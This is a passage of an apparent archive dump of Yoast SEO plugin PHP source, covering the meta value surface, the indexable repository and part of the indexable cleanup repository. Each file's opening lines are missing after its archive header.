* @throws Forbidden_Property_Mutation_Exception Set is never meant to be called.
*/
public function __set( $name, $value ) { // @phpcs:ignore Generic.CodeAnalysis.UnusedFunctionParameter.FoundAfterLastUsed -- __set must have a name and value - PHPCS #3715.
throw Forbidden_Property_Mutation_Exception::cannot_set_because_property_is_immutable( $name );
}
/**
* Prevents unsetting dynamic properties and unsetting declared properties
* from an inaccessible context.
*
* @param string $name The property name.
*
* @return void
*
* @throws Forbidden_Property_Mutation_Exception Unset is never meant to be called.
*/
public function __unset( $name ) {
throw Forbidden_Property_Mutation_Exception::cannot_unset_because_property_is_immutable( $name );
}
/**
* Get the class name from a helper slug
*
* @param string $helper The name of the helper.
*
* @return string
*/
protected function get_helper_class( $helper ) {
$helper = \implode( '_', \array_map( 'ucfirst', \explode( '_', $helper ) ) );
return "Yoast\WP\SEO\Helpers\Twitter\\{$helper}_Helper";
}
}
surfaces/values/meta.php 0000644 00000027632 15207625431 0011334 0 ustar 00 Key is the property name.
*/
private $properties_bin = [];
/**
* Create a meta value object.
*
* @param Meta_Tags_Context $context The indexable presentation.
* @param ContainerInterface $container The DI container.
*/
public function __construct( Meta_Tags_Context $context, ContainerInterface $container ) {
$this->container = $container;
$this->context = $context;
$this->helpers = $this->container->get( Helpers_Surface::class );
$this->replace_vars = $this->container->get( WPSEO_Replace_Vars::class );
$this->front_end = $this->container->get( Front_End_Integration::class );
}
/**
* Returns the output as would be presented in the head.
*
* @return object The HTML and JSON presentation of the head metadata.
*/
public function get_head() {
$presenters = $this->get_presenters();
/** This filter is documented in src/integrations/front-end-integration.php */
$presentation = \apply_filters( 'wpseo_frontend_presentation', $this->context->presentation, $this->context );
$html_output = '';
$json_head_fields = [];
foreach ( $presenters as $presenter ) {
$presenter->presentation = $presentation;
$presenter->replace_vars = $this->replace_vars;
$presenter->helpers = $this->helpers;
$html_output .= $this->create_html_presentation( $presenter );
$json_field = $this->create_json_field( $presenter );
// Only use the output of presenters that could successfully present their data.
if ( $json_field !== null && ! empty( $json_field->key ) ) {
$json_head_fields[ $json_field->key ] = $json_field->value;
}
}
$html_output = \trim( $html_output );
return (object) [
'html' => $html_output,
'json' => $json_head_fields,
];
}
/**
* Magic getter for presenting values through the appropriate presenter, if it exists.
*
* @param string $name The property to get.
*
* @return mixed The value, as presented by the appropriate presenter.
*/
public function __get( $name ) {
if ( \array_key_exists( $name, $this->properties_bin ) ) {
return $this->properties_bin[ $name ];
}
/** This filter is documented in src/integrations/front-end-integration.php */
$presentation = \apply_filters( 'wpseo_frontend_presentation', $this->context->presentation, $this->context );
if ( ! isset( $presentation->{$name} ) ) {
if ( isset( $this->context->{$name} ) ) {
$this->properties_bin[ $name ] = $this->context->{$name};
return $this->properties_bin[ $name ];
}
return null;
}
$presenter_namespace = 'Yoast\WP\SEO\Presenters\\';
$parts = \explode( '_', $name );
if ( $parts[0] === 'twitter' ) {
$presenter_namespace .= 'Twitter\\';
$parts = \array_slice( $parts, 1 );
}
elseif ( $parts[0] === 'open' && $parts[1] === 'graph' ) {
$presenter_namespace .= 'Open_Graph\\';
$parts = \array_slice( $parts, 2 );
}
$presenter_class = $presenter_namespace . \implode( '_', \array_map( 'ucfirst', $parts ) ) . '_Presenter';
if ( \class_exists( $presenter_class ) ) {
/**
* The indexable presenter.
*
* @var Abstract_Indexable_Presenter $presenter
*/
$presenter = new $presenter_class();
$presenter->presentation = $presentation;
$presenter->helpers = $this->helpers;
$presenter->replace_vars = $this->replace_vars;
$value = $presenter->get();
}
else {
$value = $presentation->{$name};
}
$this->properties_bin[ $name ] = $value;
return $this->properties_bin[ $name ];
}
/**
* Magic isset for ensuring properties on the presentation are recognised.
*
* @param string $name The property to get.
*
* @return bool Whether or not the requested property exists.
*/
public function __isset( $name ) {
if ( \array_key_exists( $name, $this->properties_bin ) ) {
return true;
}
return isset( $this->context->presentation->{$name} );
}
/**
* Prevents setting dynamic properties and overwriting the value of declared properties
* from an inaccessible context.
*
* @param string $name The property name.
* @param mixed $value The property value.
*
* @return void
*
* @throws Forbidden_Property_Mutation_Exception Set is never meant to be called.
*/
public function __set( $name, $value ) { // @phpcs:ignore Generic.CodeAnalysis.UnusedFunctionParameter.FoundAfterLastUsed -- __set must have a name and value - PHPCS #3715.
throw Forbidden_Property_Mutation_Exception::cannot_set_because_property_is_immutable( $name );
}
/**
* Prevents unsetting dynamic properties and unsetting declared properties
* from an inaccessible context.
*
* @param string $name The property name.
*
* @return void
*
* @throws Forbidden_Property_Mutation_Exception Unset is never meant to be called.
*/
public function __unset( $name ) {
throw Forbidden_Property_Mutation_Exception::cannot_unset_because_property_is_immutable( $name );
}
/**
* Strips all nested dependencies from the debug info.
*
* @return array
*/
public function __debugInfo() {
return [ 'context' => $this->context ];
}
/**
* Returns all presenters.
*
* @return Abstract_Indexable_Presenter[]
*/
protected function get_presenters() {
$presenters = $this->front_end->get_presenters( $this->context->page_type, $this->context );
if ( $this->context->page_type === 'Date_Archive' ) {
/**
* Define a filter that removes objects of type Rel_Next_Presenter or Rel_Prev_Presenter from a list.
*
* @param object $presenter The presenter to verify.
*
* @return bool True if the presenter is not a Rel_Next or Rel_Prev presenter.
*/
$callback = static function ( $presenter ) {
return ! \is_a( $presenter, Rel_Next_Presenter::class )
&& ! \is_a( $presenter, Rel_Prev_Presenter::class );
};
$presenters = \array_filter( $presenters, $callback );
}
return $presenters;
}
/**
* Uses the presenter to create a line of HTML.
*
* @param Abstract_Indexable_Presenter $presenter The presenter.
*
* @return string
*/
protected function create_html_presentation( $presenter ) {
$presenter_output = $presenter->present();
if ( ! empty( $presenter_output ) ) {
return $presenter_output . \PHP_EOL;
}
return '';
}
/**
* Converts a presenter's key and value to JSON.
*
* @param Abstract_Indexable_Presenter $presenter The presenter whose key and value are to be converted to JSON.
*
* @return object|null
*/
protected function create_json_field( $presenter ) {
if ( $presenter->get_key() === 'NO KEY PROVIDED' ) {
return null;
}
$value = $presenter->get();
if ( empty( $value ) ) {
return null;
}
return (object) [
'key' => $presenter->escape_key(),
'value' => $value,
];
}
}
repositories/indexable-repository.php 0000644 00000044260 15207625431 0014167 0 ustar 00 builder = $builder;
$this->current_page = $current_page;
$this->logger = $logger;
$this->hierarchy_repository = $hierarchy_repository;
$this->wpdb = $wpdb;
$this->version_manager = $version_manager;
}
/**
* Starts a query for this repository.
*
* @return ORM
*/
public function query() {
return Model::of_type( 'Indexable' );
}
/**
* Attempts to find the indexable for the current WordPress page. Returns false if no indexable could be found.
* This may be the result of the indexable not existing or of being unable to determine what type of page the
* current page is.
*
* @return bool|Indexable The indexable. If no indexable is found returns an empty indexable. Returns false if
* there is a database error.
*/
public function for_current_page() {
$indexable = false;
switch ( true ) {
case $this->current_page->is_simple_page():
$indexable = $this->find_by_id_and_type( $this->current_page->get_simple_page_id(), 'post' );
break;
case $this->current_page->is_home_static_page():
$indexable = $this->find_by_id_and_type( $this->current_page->get_front_page_id(), 'post' );
break;
case $this->current_page->is_home_posts_page():
$indexable = $this->find_for_home_page();
break;
case $this->current_page->is_term_archive():
$indexable = $this->find_by_id_and_type( $this->current_page->get_term_id(), 'term' );
break;
case $this->current_page->is_date_archive():
$indexable = $this->find_for_date_archive();
break;
case $this->current_page->is_search_result():
$indexable = $this->find_for_system_page( 'search-result' );
break;
case $this->current_page->is_post_type_archive():
$indexable = $this->find_for_post_type_archive( $this->current_page->get_queried_post_type() );
break;
case $this->current_page->is_author_archive():
$indexable = $this->find_by_id_and_type( $this->current_page->get_author_id(), 'user' );
break;
case $this->current_page->is_404():
$indexable = $this->find_for_system_page( '404' );
break;
}
if ( $indexable === false ) {
return $this->query()->create(
[
'object_type' => 'unknown',
'post_status' => 'unindexed',
'version' => 1,
],
);
}
return $indexable;
}
/**
* Retrieves an indexable by its permalink.
*
* @param string $permalink The indexable permalink.
*
* @return bool|Indexable The indexable, false if none could be found.
*/
public function find_by_permalink( $permalink ) {
$permalink_hash = \strlen( $permalink ) . ':' . \md5( $permalink );
// Find by both permalink_hash and permalink, permalink_hash is indexed so will be used first by the DB to optimize the query.
return $this->query()
->where( 'permalink_hash', $permalink_hash )
->where( 'permalink', $permalink )
->find_one();
}
/**
* Retrieves all the indexable instances of a certain object type.
*
* @param string $object_type The object type.
*
* @return Indexable[] The array with all the indexable instances of a certain object type.
*/
public function find_all_with_type( $object_type ) {
/**
* The array with all the indexable instances of a certain object type.
*
* @var Indexable[] $indexables
*/
$indexables = $this
->query()
->where( 'object_type', $object_type )
->find_many();
return \array_map( [ $this, 'upgrade_indexable' ], $indexables );
}
/**
* Retrieves all the indexable instances of a certain object subtype.
*
* @param string $object_type The object type.
* @param string $object_sub_type The object subtype.
*
* @return Indexable[] The array with all the indexable instances of a certain object subtype.
*/
public function find_all_with_type_and_sub_type( $object_type, $object_sub_type ) {
/**
* The array with all the indexable instances of a certain object type and subtype.
*
* @var Indexable[] $indexables
*/
$indexables = $this
->query()
->where( 'object_type', $object_type )
->where( 'object_sub_type', $object_sub_type )
->find_many();
return \array_map( [ $this, 'upgrade_indexable' ], $indexables );
}
/**
* Retrieves a paginated set of indexable instances of public indexables.
*
* @param int $page The page number (1-based).
* @param int $page_size The number of items per page.
* @param string $post_type The post type indexables to find.
*
* @return Indexable[] The array with the paginated indexable instances which are public.
*/
public function find_all_public_paginated( int $page, int $page_size, string $post_type ): array {
$offset = ( ( $page - 1 ) * $page_size );
$query = $this->query()->where_raw( '( is_public IS NULL OR is_public = 1 ) AND ( is_robots_noindex IS NULL OR is_robots_noindex = 0 )' );
$query->where( 'object_sub_type', $post_type );
$query->where( 'post_status', 'publish' );
$indexables = $query->order_by_asc( 'id' )->limit( $page_size )->offset( $offset )->find_many();
return \array_map( [ $this, 'upgrade_indexable' ], $indexables );
}
/**
* Retrieves the homepage indexable.
*
* @param bool $auto_create Optional. Create the indexable if it does not exist.
*
* @return bool|Indexable Instance of indexable.
*/
public function find_for_home_page( $auto_create = true ) {
$indexable = \wp_cache_get( 'home-page', 'yoast-seo-indexables' );
if ( ! $indexable ) {
/**
* Indexable instance.
*
* @var Indexable $indexable
*/
$indexable = $this->query()->where( 'object_type', 'home-page' )->find_one();
if ( $auto_create && ! $indexable ) {
$indexable = $this->builder->build_for_home_page();
}
$indexable = $this->upgrade_indexable( $indexable );
\wp_cache_set( 'home-page', $indexable, 'yoast-seo-indexables', ( 5 * \MINUTE_IN_SECONDS ) );
}
return $indexable;
}
/**
* Retrieves the date archive indexable.
*
* @param bool $auto_create Optional. Create the indexable if it does not exist.
*
* @return bool|Indexable Instance of indexable.
*/
public function find_for_date_archive( $auto_create = true ) {
/**
* Indexable instance.
*
* @var Indexable $indexable
*/
$indexable = $this->query()->where( 'object_type', 'date-archive' )->find_one();
if ( $auto_create && ! $indexable ) {
$indexable = $this->builder->build_for_date_archive();
}
return $this->upgrade_indexable( $indexable );
}
/**
* Retrieves an indexable for a post type archive.
*
* @param string $post_type The post type.
* @param bool $auto_create Optional. Create the indexable if it does not exist.
*
* @return bool|Indexable The indexable, false if none could be found.
*/
public function find_for_post_type_archive( $post_type, $auto_create = true ) {
/**
* Indexable instance.
*
* @var Indexable $indexable
*/
$indexable = $this->query()
->where( 'object_type', 'post-type-archive' )
->where( 'object_sub_type', $post_type )
->find_one();
if ( $auto_create && ! $indexable ) {
$indexable = $this->builder->build_for_post_type_archive( $post_type );
}
return $this->upgrade_indexable( $indexable );
}
/**
* Retrieves the indexable for a system page.
*
* @param string $object_sub_type The type of system page.
* @param bool $auto_create Optional. Create the indexable if it does not exist.
*
* @return bool|Indexable Instance of indexable.
*/
public function find_for_system_page( $object_sub_type, $auto_create = true ) {
/**
* Indexable instance.
*
* @var Indexable $indexable
*/
$indexable = $this->query()
->where( 'object_type', 'system-page' )
->where( 'object_sub_type', $object_sub_type )
->find_one();
if ( $auto_create && ! $indexable ) {
$indexable = $this->builder->build_for_system_page( $object_sub_type );
}
return $this->upgrade_indexable( $indexable );
}
/**
* Retrieves an indexable by its ID and type.
*
* @param int $object_id The indexable object ID.
* @param string $object_type The indexable object type.
* @param bool $auto_create Optional. Create the indexable if it does not exist.
*
* @return bool|Indexable Instance of indexable.
*/
public function find_by_id_and_type( $object_id, $object_type, $auto_create = true ) {
$indexable = $this->query()
->where( 'object_id', $object_id )
->where( 'object_type', $object_type )
->find_one();
if ( $auto_create && ! $indexable ) {
$indexable = $this->builder->build_for_id_and_type( $object_id, $object_type );
}
else {
$indexable = $this->upgrade_indexable( $indexable );
}
return $indexable;
}
/**
* Retrieves multiple indexables at once by their id's and type.
*
* @param int[] $object_ids The array of indexable object id's.
* @param string $object_type The indexable object type.
* @param bool $auto_create Optional. Create the indexable if it does not exist.
*
* @return Indexable[] An array of indexables.
*/
public function find_by_multiple_ids_and_type( $object_ids, $object_type, $auto_create = true ) {
if ( empty( $object_ids ) ) {
return [];
}
/**
* Represents an array of indexable objects.
*
* @var Indexable[] $indexables
*/
$indexables = $this->query()
->where_in( 'object_id', $object_ids )
->where( 'object_type', $object_type )
->find_many();
if ( $auto_create ) {
$indexables_available = [];
foreach ( $indexables as $indexable ) {
$indexables_available[] = $indexable->object_id;
}
$indexables_to_create = \array_diff( $object_ids, $indexables_available );
foreach ( $indexables_to_create as $indexable_to_create ) {
$indexables[] = $this->builder->build_for_id_and_type( $indexable_to_create, $object_type );
}
}
return \array_map( [ $this, 'upgrade_indexable' ], $indexables );
}
/**
* Finds the indexables by id's.
*
* @param array $indexable_ids The indexable id's.
*
* @return Indexable[] The found indexables.
*/
public function find_by_ids( array $indexable_ids ) {
if ( empty( $indexable_ids ) ) {
return [];
}
$indexables = $this
->query()
->where_in( 'id', $indexable_ids )
->find_many();
return \array_map( [ $this, 'upgrade_indexable' ], $indexables );
}
/**
* Returns all ancestors of a given indexable.
*
* @param Indexable $indexable The indexable to find the ancestors of.
*
* @return Indexable[] All ancestors of the given indexable.
*/
public function get_ancestors( Indexable $indexable ) {
// If we've already set ancestors on the indexable no need to get them again.
if ( \is_array( $indexable->ancestors ) && ! empty( $indexable->ancestors ) ) {
return \array_map( [ $this, 'upgrade_indexable' ], $indexable->ancestors );
}
$indexable_ids = $this->hierarchy_repository->find_ancestors( $indexable );
// If we've set ancestors on the indexable because we had to build them to find them.
if ( \is_array( $indexable->ancestors ) && ! empty( $indexable->ancestors ) ) {
return \array_map( [ $this, 'upgrade_indexable' ], $indexable->ancestors );
}
if ( empty( $indexable_ids ) ) {
return [];
}
if ( $indexable_ids[0] === 0 && \count( $indexable_ids ) === 1 ) {
return [];
}
$indexables = $this->query()
->where_in( 'id', $indexable_ids )
->order_by_expr( 'FIELD(id,' . \implode( ',', $indexable_ids ) . ')' )
->find_many();
return \array_map( [ $this, 'upgrade_indexable' ], $indexables );
}
/**
* Returns all subpages with a given post_parent.
*
* @param int $post_parent The post parent.
* @param array $exclude_ids The id's to exclude.
*
* @return Indexable[] array of indexables.
*/
public function get_subpages_by_post_parent( $post_parent, $exclude_ids = [] ) {
$query = $this->query()
->where( 'post_parent', $post_parent )
->where( 'object_type', 'post' )
->where( 'post_status', 'publish' );
if ( ! empty( $exclude_ids ) ) {
$query->where_not_in( 'object_id', $exclude_ids );
}
return $query->find_many();
}
/**
* Returns most recently modified posts of a post type.
*
* @param string $post_type The post type.
* @param int $limit The maximum number of posts to return.
* @param bool $exclude_older_than_one_year Whether to exclude posts older than one year.
* @param string $search_filter Optional. A search filter to apply to the breadcrumb title.
*
* @return Indexable[] array of indexables.
*/
public function get_recently_modified_posts( string $post_type, int $limit, bool $exclude_older_than_one_year, string $search_filter = '' ) {
$query = $this->query()
->where( 'object_type', 'post' )
->where( 'object_sub_type', $post_type )
->where_raw( '( is_public IS NULL OR is_public = 1 )' )
->order_by_desc( 'object_last_modified' )
->limit( $limit );
if ( $exclude_older_than_one_year === true ) {
$query->where_gte( 'object_published_at', \gmdate( 'Y-m-d H:i:s', \strtotime( '-1 year' ) ) );
}
if ( $search_filter !== '' ) {
$query->where_like( 'breadcrumb_title', '%' . $search_filter . '%' );
}
$query->order_by_desc( 'object_last_modified' )
->limit( $limit );
return $query->find_many();
}
/**
* Returns the most recently modified cornerstone content of a post type.
*
* @param string $post_type The post type.
* @param int|null $limit The maximum number of posts to return.
*
* @return Indexable[] array of indexables.
*/
public function get_recent_cornerstone_for_post_type( string $post_type, ?int $limit ) {
$query = $this->query()
->where( 'object_type', 'post' )
->where( 'object_sub_type', $post_type )
->where_raw( '( is_public IS NULL OR is_public = 1 )' )
->where( 'is_cornerstone', 1 )
->order_by_desc( 'object_last_modified' );
if ( $limit !== null ) {
$query->limit( $limit );
}
return $query->find_many();
}
/**
* Updates the incoming link count for an indexable without first fetching it.
*
* @param int $indexable_id The indexable id.
* @param int $count The incoming link count.
*
* @return bool Whether or not the update was succeful.
*/
public function update_incoming_link_count( $indexable_id, $count ) {
return (bool) $this->query()
->set( 'incoming_link_count', $count )
->where( 'id', $indexable_id )
->update_many();
}
/**
* Ensures that the given indexable has a permalink.
*
* Will be deprecated in 17.3 - Use upgrade_indexable instead.
*
* @codeCoverageIgnore
*
* @param Indexable $indexable The indexable.
*
* @return bool|Indexable The indexable.
*/
public function ensure_permalink( $indexable ) {
// @phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- self::class is safe.
// @phpcs:ignore Squiz.PHP.CommentedOutCode.Found
// _deprecated_function( __METHOD__, 'Yoast SEO 17.3', self::class . '::upgrade_indexable' );
return $this->upgrade_indexable( $indexable );
}
/**
* Checks if an Indexable is outdated, and rebuilds it when necessary.
*
* @param Indexable $indexable The indexable.
*
* @return Indexable The indexable.
*/
public function upgrade_indexable( $indexable ) {
if ( $this->version_manager->indexable_needs_upgrade( $indexable ) ) {
$indexable = $this->builder->build( $indexable );
}
return $indexable;
}
/**
* Resets the permalinks of the passed object type and subtype.
*
* @param string|null $type The type of the indexable. Can be null.
* @param string|null $subtype The subtype. Can be null.
* @param int|null $object_id The object ID. Can be null.
*
* @return int|bool The number of permalinks changed if the query was succesful. False otherwise.
*/
public function reset_permalink( $type = null, $subtype = null, $object_id = null ) {
$query = $this->query()->set(
[
'permalink' => null,
'permalink_hash' => null,
'version' => 0,
],
);
if ( $type !== null ) {
$query->where( 'object_type', $type );
}
if ( $type !== null && $subtype !== null ) {
$query->where( 'object_sub_type', $subtype );
}
if ( $object_id !== null ) {
$query->where( 'object_id', $object_id );
}
return $query->update_many();
}
/**
* Gets the total number of stored indexables.
*
* @return int The total number of stored indexables.
*/
public function get_total_number_of_indexables() {
return $this->query()->count();
}
}
repositories/indexable-cleanup-repository.php 0000644 00000066335 15207625431 0015623 0 ustar 00 taxonomy = $taxonomy;
$this->post_type = $post_type;
$this->author_archive = $author_archive;
}
/**
* Starts a query for this repository.
*
* @return ORM
*/
public function query() {
return Model::of_type( 'Indexable' );
}
/**
* Deletes rows from the indexable table depending on the object_type and object_sub_type.
*
* @param string $object_type The object type to query.
* @param string $object_sub_type The object subtype to query.
* @param int $limit The limit we'll apply to the delete query.
*
* @return int|bool The number of rows that was deleted or false if the query failed.
*/
public function clean_indexables_with_object_type_and_object_sub_type( string $object_type, string $object_sub_type, int $limit ) {
global $wpdb;
$indexable_table = Model::get_table_name( 'Indexable' );
// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Reason: There is no unescaped user input.
$sql = $wpdb->prepare( "DELETE FROM $indexable_table WHERE object_type = %s AND object_sub_type = %s ORDER BY id LIMIT %d", $object_type, $object_sub_type, $limit );
// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared,WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: Already prepared.
return $wpdb->query( $sql );
}
/**
* Counts amount of indexables by object type and object sub type.
*
* @param string $object_type The object type to check.
* @param string $object_sub_type The object sub type to check.
*
* @return float|int
*/
public function count_indexables_with_object_type_and_object_sub_type( string $object_type, string $object_sub_type ) {
return $this
->query()
->where( 'object_type', $object_type )
->where( 'object_sub_type', $object_sub_type )
->count();
}
/**
* Deletes rows from the indexable table depending on the post_status.
*
* @param string $post_status The post status to query.
* @param int $limit The limit we'll apply to the delete query.
*
* @return int|bool The number of rows that was deleted or false if the query failed.
*/
public function clean_indexables_with_post_status( $post_status, $limit ) {
global $wpdb;
$indexable_table = Model::get_table_name( 'Indexable' );
// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Reason: There is no unescaped user input.
$sql = $wpdb->prepare( "DELETE FROM $indexable_table WHERE object_type = 'post' AND post_status = %s ORDER BY id LIMIT %d", $post_status, $limit );
// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared,WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: Already prepared.
return $wpdb->query( $sql );
}
/**
* Counts indexables with a certain post status.
*
* @param string $post_status The post status to count.
*
* @return float|int
*/
public function count_indexables_with_post_status( string $post_status ) {
return $this
->query()
->where( 'object_type', 'post' )
->where( 'post_status', $post_status )
->count();
}
/**
* Cleans up any indexables that belong to post types that are not/no longer publicly viewable.
*
* @param int $limit The limit we'll apply to the queries.
*
* @return bool|int The number of deleted rows, false if the query fails.
*/
public function clean_indexables_for_non_publicly_viewable_post( $limit ) {
global $wpdb;
$indexable_table = Model::get_table_name( 'Indexable' );
$included_post_types = $this->post_type->get_indexable_post_types();
// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Reason: Too hard to fix.
if ( empty( $included_post_types ) ) {
$delete_query = $wpdb->prepare(
"DELETE FROM $indexable_table
WHERE object_type = 'post'
AND object_sub_type IS NOT NULL
LIMIT %d",
$limit,
);
}
else {
// phpcs:ignore WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber -- Reason: we're passing an array instead.
$delete_query = $wpdb->prepare(
"DELETE FROM $indexable_table
WHERE object_type = 'post'
AND object_sub_type IS NOT NULL
AND object_sub_type NOT IN ( " . \implode( ', ', \array_fill( 0, \count( $included_post_types ), '%s' ) ) . ' )
LIMIT %d',
\array_merge( $included_post_types, [ $limit ] ),
);
}
// phpcs:enable
// phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way.
// phpcs:disable WordPress.DB.PreparedSQL.NotPrepared -- Reason: Is it prepared already.
return $wpdb->query( $delete_query );
// phpcs:enable
}
/**
* Counts all indexables for non public post types.
*
* @return float|int
*/
public function count_indexables_for_non_publicly_viewable_post() {
$included_post_types = $this->post_type->get_indexable_post_types();
if ( empty( $included_post_types ) ) {
return $this
->query()
->where( 'object_type', 'post' )
->where_not_equal( 'object_sub_type', 'null' )
->count();
}
else {
return $this
->query()
->where( 'object_type', 'post' )
->where_not_equal( 'object_sub_type', 'null' )
->where_not_in( 'object_sub_type', $included_post_types )
->count();
}
}
/**
* Cleans up any indexables that belong to taxonomies that are not/no longer publicly viewable.
*
* @param int $limit The limit we'll apply to the queries.
*
* @return bool|int The number of deleted rows, false if the query fails.
*/
public function clean_indexables_for_non_publicly_viewable_taxonomies( $limit ) {
global $wpdb;
$indexable_table = Model::get_table_name( 'Indexable' );
$included_taxonomies = $this->taxonomy->get_indexable_taxonomies();
// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Reason: Too hard to fix.
if ( empty( $included_taxonomies ) ) {
$delete_query = $wpdb->prepare(
"DELETE FROM $indexable_table
WHERE object_type = 'term'
AND object_sub_type IS NOT NULL
LIMIT %d",
$limit,
);
}
else {
// phpcs:ignore WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber -- Reason: we're passing an array instead.
$delete_query = $wpdb->prepare(
"DELETE FROM $indexable_table
WHERE object_type = 'term'
AND object_sub_type IS NOT NULL
AND object_sub_type NOT IN ( " . \implode( ', ', \array_fill( 0, \count( $included_taxonomies ), '%s' ) ) . ' )
LIMIT %d',
\array_merge( $included_taxonomies, [ $limit ] ),
);
}
// phpcs:enable
// phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way.
// phpcs:disable WordPress.DB.PreparedSQL.NotPrepared -- Reason: Is it prepared already.
return $wpdb->query( $delete_query );
// phpcs:enable
}
/**
* Cleans up any indexables that belong to post type archive page that are not/no longer publicly viewable.
*
* @param int $limit The limit we'll apply to the queries.
*
* @return bool|int The number of deleted rows, false if the query fails.
*/
public function clean_indexables_for_non_publicly_viewable_post_type_archive_pages( $limit ) {
global $wpdb;
$indexable_table = Model::get_table_name( 'Indexable' );
$included_post_types = $this->post_type->get_indexable_post_archives();
$post_archives = [];
foreach ( $included_post_types as $post_type ) {
$post_archives[] = $post_type->name;
}
// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Reason: Too hard to fix.
if ( empty( $post_archives ) ) {
$delete_query = $wpdb->prepare(
"DELETE FROM $indexable_table
WHERE object_type = 'post-type-archive'
AND object_sub_type IS NOT NULL
LIMIT %d",
$limit,
);
}
else {
// phpcs:ignore WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber -- Reason: we're passing an array instead.
$delete_query = $wpdb->prepare(
"DELETE FROM $indexable_table
WHERE object_type = 'post-type-archive'
AND object_sub_type IS NOT NULL
AND object_sub_type NOT IN ( " . \implode( ', ', \array_fill( 0, \count( $post_archives ), '%s' ) ) . ' )
LIMIT %d',
\array_merge( $post_archives, [ $limit ] ),
);
}
// phpcs:enable
// phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way.
// phpcs:disable WordPress.DB.PreparedSQL.NotPrepared -- Reason: Is it prepared already.
return $wpdb->query( $delete_query );
// phpcs:enable
}
/**
* Counts indexables for non publicly viewable taxonomies.
*
* @return float|int
*/
public function count_indexables_for_non_publicly_viewable_taxonomies() {
$included_taxonomies = $this->taxonomy->get_indexable_taxonomies();
if ( empty( $included_taxonomies ) ) {
return $this
->query()
->where( 'object_type', 'term' )
->where_not_equal( 'object_sub_type', 'null' )
->count();
}
else {
return $this
->query()
->where( 'object_type', 'term' )
->where_not_equal( 'object_sub_type', 'null' )
->where_not_in( 'object_sub_type', $included_taxonomies )
->count();
}
}
/**
* Counts indexables for non publicly viewable taxonomies.
*
* @return float|int
*/
public function count_indexables_for_non_publicly_post_type_archive_pages() {
$included_post_types = $this->post_type->get_indexable_post_archives();
$post_archives = [];
foreach ( $included_post_types as $post_type ) {
$post_archives[] = $post_type->name;
}
if ( empty( $post_archives ) ) {
return $this
->query()
->where( 'object_type', 'post-type-archive' )
->where_not_equal( 'object_sub_type', 'null' )
->count();
}
return $this
->query()
->where( 'object_type', 'post-type-archive' )
->where_not_equal( 'object_sub_type', 'null' )
->where_not_in( 'object_sub_type', $post_archives )
->count();
}
/**
* Cleans up any user indexables when the author archives have been disabled.
*
* @param int $limit The limit we'll apply to the queries.
*
* @return bool|int The number of deleted rows, false if the query fails.
*/
public function clean_indexables_for_authors_archive_disabled( $limit ) {
global $wpdb;
if ( ! $this->author_archive->are_disabled() ) {
return 0;
}
$indexable_table = Model::get_table_name( 'Indexable' );
// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Reason: Too hard to fix.
$delete_query = $wpdb->prepare( "DELETE FROM $indexable_table WHERE object_type = 'user' LIMIT %d", $limit );
// phpcs:enable
// phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way.
// phpcs:disable WordPress.DB.PreparedSQL.NotPrepared -- Reason: Is it prepared already.
return $wpdb->query( $delete_query );
// phpcs:enable
}
/**
* Counts the amount of author archive indexables if they are not disabled.
*
* @return float|int
*/
public function count_indexables_for_authors_archive_disabled() {
if ( ! $this->author_archive->are_disabled() ) {
return 0;
}
return $this
->query()
->where( 'object_type', 'user' )
->count();
}
/**
* Cleans up any indexables that belong to users that have their author archives disabled.
*
* @param int $limit The limit we'll apply to the queries.
*
* @return bool|int The number of deleted rows, false if the query fails.
*/
public function clean_indexables_for_authors_without_archive( $limit ) {
global $wpdb;
$indexable_table = Model::get_table_name( 'Indexable' );
$author_archive_post_types = $this->author_archive->get_author_archive_post_types();
$viewable_post_stati = \array_filter( \get_post_stati(), 'is_post_status_viewable' );
// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Reason: Too hard to fix.
// phpcs:disable WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber -- Reason: we're passing an array instead.
$delete_query = $wpdb->prepare(
"DELETE FROM $indexable_table
WHERE object_type = 'user'
AND object_id NOT IN (
SELECT DISTINCT post_author
FROM $wpdb->posts
WHERE post_type IN ( " . \implode( ', ', \array_fill( 0, \count( $author_archive_post_types ), '%s' ) ) . ' )
AND post_status IN ( ' . \implode( ', ', \array_fill( 0, \count( $viewable_post_stati ), '%s' ) ) . ' )
) LIMIT %d',
\array_merge( $author_archive_post_types, $viewable_post_stati, [ $limit ] ),
);
// phpcs:enable
// phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way.
// phpcs:disable WordPress.DB.PreparedSQL.NotPrepared -- Reason: Is it prepared already.
return $wpdb->query( $delete_query );
// phpcs:enable
}
/**
* Counts total amount of indexables for authors without archives.
*
* @return bool|int|mysqli_result|resource|null
*/
public function count_indexables_for_authors_without_archive() {
global $wpdb;
